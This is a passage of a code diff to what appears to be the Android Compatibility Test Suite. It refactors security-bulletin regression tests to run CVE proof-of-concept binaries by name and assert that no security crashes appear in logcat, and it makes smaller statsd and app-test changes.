+import java.util.concurrent.TimeoutException;
+import java.util.List;
+import java.util.regex.Pattern;
 import java.util.concurrent.TimeUnit;
 import java.util.Scanner;
 
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
 import static org.junit.Assert.*;
 
 public class AdbUtils {
@@ -191,9 +200,17 @@
      * Utility function to help check the exit code of a shell command
      */
     public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
-      return Integer.parseInt(
-          AdbUtils.runCommandLine( "(" + cmd + ") > /dev/null 2>&1; echo $?",
-            device).replaceAll("[^0-9]", ""));
+        long time = System.currentTimeMillis();
+        String exitStatus = runCommandLine(
+                "(" + cmd + ") > /dev/null 2>&1; echo $?", device).trim();
+        time = System.currentTimeMillis() - time;
+        try {
+            return Integer.parseInt(exitStatus);
+        } catch (NumberFormatException e) {
+            throw new IllegalArgumentException(String.format(
+                    "Could not get the exit status (%s) for '%s' (%d ms).",
+                    exitStatus, cmd, time));
+        }
     }
 
     /**
@@ -223,11 +240,18 @@
             throws Exception {
         device.executeShellCommand("chmod +x /data/local/tmp/" + pocName);
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
-        device.executeShellCommand("/data/local/tmp/" + pocName + " > /dev/null 2>&1; echo $?",
-                                   receiver, timeout, TimeUnit.SECONDS, 0);
-
-        String exitStatus = receiver.getOutput().replaceAll("[^0-9]", "");
-        return Integer.parseInt(exitStatus);
+        String cmd = "/data/local/tmp/" + pocName + " > /dev/null 2>&1; echo $?";
+        long time = System.currentTimeMillis();
+        device.executeShellCommand(cmd, receiver, timeout, TimeUnit.SECONDS, 0);
+        time = System.currentTimeMillis() - time;
+        String exitStatus = receiver.getOutput().trim();
+        try {
+            return Integer.parseInt(exitStatus);
+        } catch (NumberFormatException e) {
+            throw new IllegalArgumentException(String.format(
+                    "Could not get the exit status (%s) for '%s' (%d ms).",
+                    exitStatus, cmd, time));
+        }
     }
 
     /**
@@ -250,4 +274,69 @@
         runCommandLine("rm " + targetPath, device);
         return code;
     }
+
+    /**
+     * Runs the poc binary and asserts that there are no security crashes that match the expected
+     * process pattern.
+     * @param pocName a string path to poc from the /res folder
+     * @param device device to be ran on
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
+     */
+    public static void runPocAssertNoCrashes(String pocName, ITestDevice device,
+            String... processPatternStrings) throws Exception {
+        AdbUtils.runCommandLine("logcat -c", device);
+        AdbUtils.runPocNoOutput(pocName, device, SecurityTestCase.TIMEOUT_NONDETERMINISTIC);
+        assertNoCrashes(device, processPatternStrings);
+    }
+
+    /**
+     * Dumps logcat and asserts that there are no security crashes that match the expected process.
+     * By default, checks min crash addresses
+     * pattern. Ensure that adb logcat -c is called beforehand.
+     * @param device device to be ran on
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
+     */
+    public static void assertNoCrashes(ITestDevice device, String... processPatternStrings)
+            throws Exception {
+        assertNoCrashes(device, true, processPatternStrings);
+    }
+
+    /**
+     * Dumps logcat and asserts that there are no security crashes that match the expected process
+     * pattern. Ensure that adb logcat -c is called beforehand.
+     * @param device device to be ran on
+     * @param checkMinAddress if the minimum fault address should be respected
+     * @param processPatternStrings a Pattern string to match the crash tombstone process
+     */
+    public static void assertNoCrashes(ITestDevice device, boolean checkMinAddress,
+            String... processPatternStrings) throws Exception {
+        String logcat = AdbUtils.runCommandLine("logcat -d *:S DEBUG:V", device);
+
+        Pattern[] processPatterns = new Pattern[processPatternStrings.length];
+        for (int i = 0; i < processPatternStrings.length; i++) {
+            processPatterns[i] = Pattern.compile(processPatternStrings[i]);
+        }
+        JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
+        JSONArray securityCrashes =
+                CrashUtils.matchSecurityCrashes(crashes, checkMinAddress, processPatterns);
+
+        if (securityCrashes.length() == 0) {
+            return; // no security crashes detected
+        }
+
+        StringBuilder error = new StringBuilder();
+        error.append("Security crash detected:\n");
+        error.append("Process patterns:");
+        for (String pattern : processPatternStrings) {
+            error.append(String.format(" '%s'", pattern));
+        }
+        error.append("\nCrashes:\n");
+        for (int i = 0; i < crashes.length(); i++) {
+            try {
+                JSONObject crash = crashes.getJSONObject(i);
+                error.append(String.format("%s\n", crash));
+            } catch (JSONException e) {}
+        }
+        fail(error.toString());
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
new file mode 100644
index 0000000..e62a7b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java
@@ -0,0 +1,44 @@
+package android.security.cts;
+
+import com.android.ddmlib.Log;
+
+import com.google.common.collect.ImmutableSet;
+
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class HostsideMainlineModuleDetector {
+    private static final String LOG_TAG = "MainlineModuleDetector";
+
+    private SecurityTestCase context;
+
+    private static ImmutableSet<String> playManagedModules;
+
+    HostsideMainlineModuleDetector(SecurityTestCase context) {
+        this.context = context;
+    }
+
+    synchronized Set<String> getPlayManagedModules() throws Exception {
+        if (playManagedModules == null) {
+            AdbUtils.runCommandLine("logcat -c", context.getDevice());
+            String output = AdbUtils.runCommandLine(
+                    "am start com.android.cts.mainlinemoduledetector/.MainlineModuleDetector",
+                    context.getDevice());
+            Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+                    "am output: " + output);
+            Thread.sleep(5 * 1000L);
+            String logcat = AdbUtils.runCommandLine("logcat -d -s MainlineModuleDetector:I",
+                    context.getDevice());
+            Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+                    "Found logcat output: " + logcat);
+            Matcher matcher = Pattern.compile("Play managed modules are: <(.*?)>").matcher(logcat);
+            if (matcher.find()) {
+                playManagedModules = ImmutableSet.copyOf(matcher.group(1).split(","));
+            } else {
+                playManagedModules = ImmutableSet.of();
+            }
+        }
+        return playManagedModules;
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
new file mode 100644
index 0000000..4a638a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_02.java
@@ -0,0 +1,29 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+public class Poc16_02 extends SecurityTestCase {
+    /**
+     *  b/25800375
+     */
+    @SecurityTest(minPatchLevel = "2016-02")
+    public void testPocCVE_2016_0811() throws Exception {
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-0811", getDevice(), "mediaserver");
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
index 9a7e62a..25c1373 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -44,10 +44,6 @@
      */
     @SecurityTest(minPatchLevel = "2016-04")
     public void testPocCVE_2016_2412() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPoc("CVE-2016-2412", getDevice(), 60);
-        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> system_server <<<",
-            logcatOut);
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-2412", getDevice(), "system_server");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
index d866a5a..d8df1c6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java
@@ -37,6 +37,6 @@
      */
     @SecurityTest(minPatchLevel = "2016-05")
     public void testPocCVE_2015_1805() throws Exception {
-      AdbUtils.runPoc("CVE-2015-1805", getDevice(), 300);
+      AdbUtils.runPoc("CVE-2015-1805", getDevice(), TIMEOUT_NONDETERMINISTIC);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 20536ea..a0aecc5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -32,11 +32,7 @@
      */
     @SecurityTest(minPatchLevel = "2016-07")
     public void testPocCVE_2016_3746() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPoc("CVE-2016-3746", getDevice(), 60);
-        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11.*?>>> /system/bin/mediaserver <<<",
-            logcat);
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-3746", getDevice(), "mediaserver");
     }
 
     /**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
index 98994e1..6daa385 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -26,9 +26,6 @@
      */
     @SecurityTest(minPatchLevel = "2016-10")
     public void testPocCVE_2016_3913() throws Exception {
-        AdbUtils.runCommandLine("logcat -c",getDevice());
-        AdbUtils.runPoc("CVE-2016-3913", getDevice(), 60);
-        String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11.*?/system/bin/mediaserver",logcat);
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-3913", getDevice(), "mediaserver");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index e2e5134..f9d4e1d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -35,11 +35,7 @@
    */
   @SecurityTest(minPatchLevel = "2017-02")
   public void testPocCVE_2017_0415() throws Exception {
-      AdbUtils.runCommandLine("logcat -c", getDevice());
-      AdbUtils.runPoc("CVE-2017-0415", getDevice(), 60);
-      String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-      assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
-          logcatOut);
+      AdbUtils.runPocAssertNoCrashes("CVE-2017-0415", getDevice(), "mediaserver");
   }
 
     /**
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index e0294d3..f61e843 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -27,7 +27,7 @@
     @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2016_8479() throws Exception {
         if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-             AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
+             AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), TIMEOUT_NONDETERMINISTIC);
             // CTS begins the next test before device finishes rebooting,
             // sleep to allow time for device to reboot.
             Thread.sleep(70000);
@@ -94,11 +94,7 @@
      */
     @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0479() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPocNoOutput("CVE-2017-0479", getDevice(), 60);
-        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
-                         "audioserver <<<", logcatOut);
+        AdbUtils.runPocAssertNoCrashes("CVE-2017-0479", getDevice(), "audioserver");
     }
 
     /*
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index e1c4977..3fbf3d2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -33,9 +33,6 @@
                                     " -t audio/amr", getDevice());
         // Wait for intent to be processed before checking logcat
         Thread.sleep(5000);
-        String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\)" +
-                         "[\\s\\n\\S]*>>> /system/bin/" +
-                         "mediaserver <<<", logcat);
+        AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 67becec..fed0ab5 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -21,13 +21,13 @@
 @SecurityTest
 public class Poc17_12 extends SecurityTestCase {
 
-  /**
-   * b/38045794
-   */
-  @SecurityTest(minPatchLevel = "2017-12")
-  public void testPocCVE_2017_6262() throws Exception {
-    if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
-      AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
+    /**
+     * b/38045794
+     */
+    @SecurityTest(minPatchLevel = "2017-12")
+    public void testPocCVE_2017_6262() throws Exception {
+        if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
+            AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), TIMEOUT_NONDETERMINISTIC);
+        }
     }
-  }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
index 9278af4..b270c69 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -37,24 +37,11 @@
   }
 
   /**
-   * CVE-2018-5892
+   *  b/73172817
    */
-  @SecurityTest(minPatchLevel = "2018-06")
-  public void testPocCVE_2018_5892() throws Exception {
-    String result = AdbUtils.runCommandLine(
-        "pm list package com.emoji.keyboard.touchpal", getDevice());
-    assertFalse(result.contains("com.emoji.keyboard.touchpal"));
+  @SecurityTest
+  public void testPocCVE_2018_9344() throws Exception {
+      AdbUtils.runPocAssertNoCrashes(
+          "CVE-2018-9344", getDevice(), "android\\.hardware\\.drm@\\d\\.\\d-service");
   }
-
-    /**
-     *  b/73172817
-     */
-    @SecurityTest
-    public void testPocCVE_2018_9344() throws Exception {
-        AdbUtils.runCommandLine("logcat -c", getDevice());
-        AdbUtils.runPoc("CVE-2018-9344", getDevice(), 30);
-        String output = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine(">>> /vendor/bin/hw/android.hardware.cas@1.0-service <<<" +
-                ".*?signal 11 \\(SIGSEGV\\)", output);
-    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
index 9595d5a..173508c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -22,14 +22,12 @@
 @SecurityTest
 public class Poc18_07 extends SecurityTestCase {
 
-    /**
-     * b/76221123
-     */
-     @SecurityTest(minPatchLevel = "2018-07")
-     public void testPocCVE_2018_9424() throws Exception {
-       AdbUtils.runCommandLine("logcat -c" , getDevice());
-       AdbUtils.runPoc("CVE-2018-9424", getDevice(), 60);
-       String result = AdbUtils.runCommandLine("logcat -d", getDevice());
-       assertNotMatchesMultiLine("Fatal signal", result);
-     }
+   /**
+    * b/76221123
+    */
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testPocCVE_2018_9424() throws Exception {
+        AdbUtils.runPocAssertNoCrashes(
+            "CVE-2018-9424", getDevice(), "android\\.hardware\\.drm@\\d\\.\\d-service");
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
index 796119d..1615947 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -50,4 +50,15 @@
         int code = AdbUtils.runProxyAutoConfig("CVE-2019-2047", getDevice());
         assertTrue(code != 139); // 128 + signal 11
     }
+
+    /**
+     * CVE-2019-2257
+     */
+    @SecurityTest(minPatchLevel = "2019-05")
+    public void testPocCVE_2019_2257() throws Exception {
+        String result = AdbUtils.runCommandLine(
+                                "dumpsys package com.qualcomm.qti.telephonyservice", getDevice());
+        assertFalse(result.contains(
+                            "permission com.qualcomm.permission.USE_QTI_TELEPHONY_SERVICE"));
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
new file mode 100644
index 0000000..07257fa
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
@@ -0,0 +1,44 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+
+import static org.junit.Assert.assertFalse;
+
+@SecurityTest
+public class Poc19_11 extends SecurityTestCase {
+
+    /**
+     * b/138441919
+     */
+    @SecurityTest(minPatchLevel = "2019-11")
+    public void testPocBug_138441919() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("bug_138441919", getDevice());
+        assertTrue(code != 139); // 128 + signal 11
+    }
+
+    /**
+     * b/139806216
+     */
+    @SecurityTest(minPatchLevel = "2019-11")
+    public void testPocBug_139806216() throws Exception {
+        int code = AdbUtils.runProxyAutoConfig("bug_139806216", getDevice());
+        assertTrue(code != 139 && code != 135); // 128 + signal 11, 128 + signal 7
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 479f18d..ee38deb 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -33,9 +33,14 @@
     private static final String LOG_TAG = "SecurityTestCase";
     private static final int RADIX_HEX = 16;
 
+    protected static final int TIMEOUT_DEFAULT = 60;
+    // account for the poc timer of 5 minutes (+15 seconds for safety)
+    protected static final int TIMEOUT_NONDETERMINISTIC = 315;
+
     private long kernelStartTime;
 
     private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
+    private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
 
     /**
      * Waits for device to be online, marks the most recent boottime of the device
@@ -210,4 +215,21 @@
     public HostsideOomCatcher getOomCatcher() {
         return oomCatcher;
     }
+
+    /**
+     * Return true if a module is play managed.
+     *
+     * Example of skipping a test based on mainline modules:
+     *  <pre>
+     *  @Test
+     *  public void testPocCVE_1234_5678() throws Exception {
+     *      // This will skip the test if MODULE_METADATA mainline module is play managed.
+     *      assumeFalse(moduleIsPlayManaged("com.google.android.captiveportallogin"));
+     *      // Do testing...
+     *  }
+     *  * </pre>
+     */
+    boolean moduleIsPlayManaged(String modulePackageName) throws Exception {
+        return mainlineModuleDetector.getPlayManagedModules().contains(modulePackageName);
+    }
 }
diff --git a/hostsidetests/stagedinstall/Android.bp b/hostsidetests/stagedinstall/Android.bp
index 01bb8be..49f7f87 100644
--- a/hostsidetests/stagedinstall/Android.bp
+++ b/hostsidetests/stagedinstall/Android.bp
@@ -32,7 +32,8 @@
 
     test_suites: [
         "cts",
-        "general-tests"
+        "general-tests",
+        "mts",
     ],
 }
 
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index f38bf33..5b5711c 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -66,6 +66,7 @@
 import java.util.List;
 import java.util.Set;
 import java.util.function.Function;
+import java.util.stream.Collectors;
 
 /**
  * Base class for testing Statsd atoms.
@@ -239,6 +240,16 @@
     }
 
     /**
+     *  Gets a List of sorted ConfigMetricsReports from ConfigMetricsReportList.
+     */
+    protected List<ConfigMetricsReport> getSortedConfigMetricsReports(
+            ConfigMetricsReportList configMetricsReportList) {
+        return configMetricsReportList.getReportsList().stream()
+                .sorted(Comparator.comparing(ConfigMetricsReport::getCurrentReportWallClockNanos))
+                .collect(Collectors.toList());
+    }
+
+    /**
      * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
      * contain a single report).
      */
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index cb66496..045b4a1 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -17,7 +17,6 @@
 
 import android.net.wifi.WifiModeEnum;
 import android.os.WakeLockLevelEnum;
-import android.platform.test.annotations.RestrictedBuildTest;
 import android.server.ErrorSource;
 
 import com.android.internal.os.StatsdConfigProto.FieldMatcher;
@@ -33,7 +32,6 @@
 import com.android.os.AtomsProto.BleScanResultReceived;
 import com.android.os.AtomsProto.BleScanStateChanged;
 import com.android.os.AtomsProto.CameraStateChanged;
-import com.android.os.AtomsProto.CpuActiveTime;
 import com.android.os.AtomsProto.DangerousPermissionState;
 import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
 import com.android.os.AtomsProto.FlashlightStateChanged;
@@ -368,42 +366,6 @@
         assertTrue("found uid " + uid, found);
     }
 
-    @RestrictedBuildTest
-    public void testCpuActiveTime() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        StatsdConfig.Builder config = getPulledConfig();
-        FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
-                .setField(Atom.CPU_ACTIVE_TIME_FIELD_NUMBER)
-                .addChild(FieldMatcher.newBuilder()
-                        .setField(CpuActiveTime.UID_FIELD_NUMBER));
-        addGaugeAtomWithDimensions(config, Atom.CPU_ACTIVE_TIME_FIELD_NUMBER, dimension);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> atomList = getGaugeMetricDataList();
-
-        boolean found = false;
-        int uid = getUid();
-        long timeSpent = 0;
-        for (Atom atom : atomList) {
-            if (atom.getCpuActiveTime().getUid() == uid) {
-                found = true;
-                timeSpent += atom.getCpuActiveTime().getTimeMillis();
-            }
-        }
-        assertTrue(timeSpent > 0);
-        assertTrue("found uid " + uid, found);
-    }
-
     public void testDeviceCalculatedPowerUse() throws Exception {
         if (statsdDisabled()) {
             return;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
index fc069b1..803dd2e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
@@ -32,6 +32,8 @@
 import com.android.os.StatsLog.StatsLogReport;
 import com.android.tradefed.log.LogUtil;
 
+import java.util.List;
+
 /**
  * Test Statsd Metric activations and deactivations
  */
@@ -226,8 +228,8 @@
         Thread.sleep(10L);
 
         ConfigMetricsReportList reportList = getReportList();
-        assertEquals(1, reportList.getReportsCount());
-        ConfigMetricsReport report = reportList.getReports(0);
+        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+        ConfigMetricsReport report = reports.get(0);
         verifyMetrics(report, 4, 0, 1);
     }
 
@@ -371,18 +373,19 @@
         logAllMetrics();
 
         ConfigMetricsReportList reportList = getReportList();
-        assertEquals(3, reportList.getReportsCount());
+        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+        assertEquals(3, reports.size());
 
         // Report before restart.
-        ConfigMetricsReport report = reportList.getReports(0);
+        ConfigMetricsReport report = reports.get(0);
         verifyMetrics(report, 1, 0, 1);
 
         // Report after first restart.
-        report = reportList.getReports(1);
+        report = reports.get(1);
         verifyMetrics(report, 2, 3, 4);
 
         // Report after second restart.
-        report = reportList.getReports(2);
+        report = reports.get(2);
         verifyMetrics(report, 2, 2, 3);
     }
 
@@ -506,18 +509,19 @@
         logAllMetrics();
 
         ConfigMetricsReportList reportList = getReportList();
-        assertEquals(3, reportList.getReportsCount());
+        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+        assertEquals(3, reports.size());
 
         // Report before restart.
-        ConfigMetricsReport report = reportList.getReports(0);
+        ConfigMetricsReport report = reports.get(0);
         verifyMetrics(report, 3, 0, 3);
 
         // Report after first restart.
-        report = reportList.getReports(1);
+        report = reports.get(1);
         verifyMetrics(report, 2, 2, 3);
 
         // Report after second restart.
-        report = reportList.getReports(2);
+        report = reports.get(2);
         verifyMetrics(report, 0, 0, 1);
     }
 
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
index 6c5de5a..ae40111 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
@@ -131,10 +131,9 @@
 
         assertNotNull(wl);
         assertTrue(wl.getDurationMs() > 0);
-        assertTrue(wl.getCount() == 1);
-        assertTrue(wl.getMaxDurationMs() >= 500);
+        assertTrue(wl.getMaxDurationMs() >= 400);
         assertTrue(wl.getMaxDurationMs() < 700);
-        assertTrue(wl.getTotalDurationMs() >= 500);
+        assertTrue(wl.getTotalDurationMs() >= 400);
         assertTrue(wl.getTotalDurationMs() < 700);
 
         setAodState(aodState); // restores AOD to initial state.
diff --git a/hostsidetests/theme/assets/28/360dpi.zip b/hostsidetests/theme/assets/28/360dpi.zip
index 3e1f801..40b434b 100644
--- a/hostsidetests/theme/assets/28/360dpi.zip
+++ b/hostsidetests/theme/assets/28/360dpi.zip
Binary files differ
diff --git a/tests/app/TEST_MAPPING b/tests/app/TEST_MAPPING
index 1c06dec..60d71d3 100644
--- a/tests/app/TEST_MAPPING
+++ b/tests/app/TEST_MAPPING
@@ -8,9 +8,6 @@
         },
         {
           "exclude-annotation": "androidx.test.filters.FlakyTest"
-        },
-        {
-          "exclude-filter": "android.app.cts.SystemFeaturesTest#testLocationFeatures"
         }
       ]
     }
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index a576e62..7d34da0 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -133,6 +133,8 @@
             <meta-data android:name="android.app.stubs.reference" android:resource="@xml/metadata" />
         </service>
 
+        <service android:name="android.app.stubs.LocalStoppedService" />
+
         <service android:name="android.app.stubs.LocalForegroundService">
             <intent-filter>
                 <action android:name="android.app.stubs.FOREGROUND_SERVICE" />
diff --git a/tests/app/app/src/android/app/stubs/LocalService.java b/tests/app/app/src/android/app/stubs/LocalService.java
index f914cdf..f270582 100644
--- a/tests/app/app/src/android/app/stubs/LocalService.java
+++ b/tests/app/app/src/android/app/stubs/LocalService.java
@@ -48,12 +48,17 @@
     public static final int GET_UID_CODE = 9;
     public static final int GET_PPID_CODE = 10;
     public static final int GET_ZYGOTE_PRELOAD_CALLED = 11;
+    public static final int STOP_SELF_CODE = 12;
+    public static final int STOP_SELF_RESULT_CODE = 13;
+    public static final int STOP_SELF_SUCCESS_UNBIND_CODE = 14;
 
     public static Context sServiceContext = null;
 
     private IBinder mReportObject;
     private int mStartCount = 1;
     private int mValue = 0;
+    private int mStartId = -1;
+    private boolean mIsStoppedSelfSuccess;
 
     private final IBinder mBinder = new Binder() {
         @Override
@@ -88,6 +93,12 @@
                     data.enforceInterface(SERVICE_LOCAL);
                     reply.writeBoolean(ZygotePreload.preloadCalled());
                     return true;
+                case STOP_SELF_RESULT_CODE:
+                    mIsStoppedSelfSuccess = stopSelfResult(mStartId);
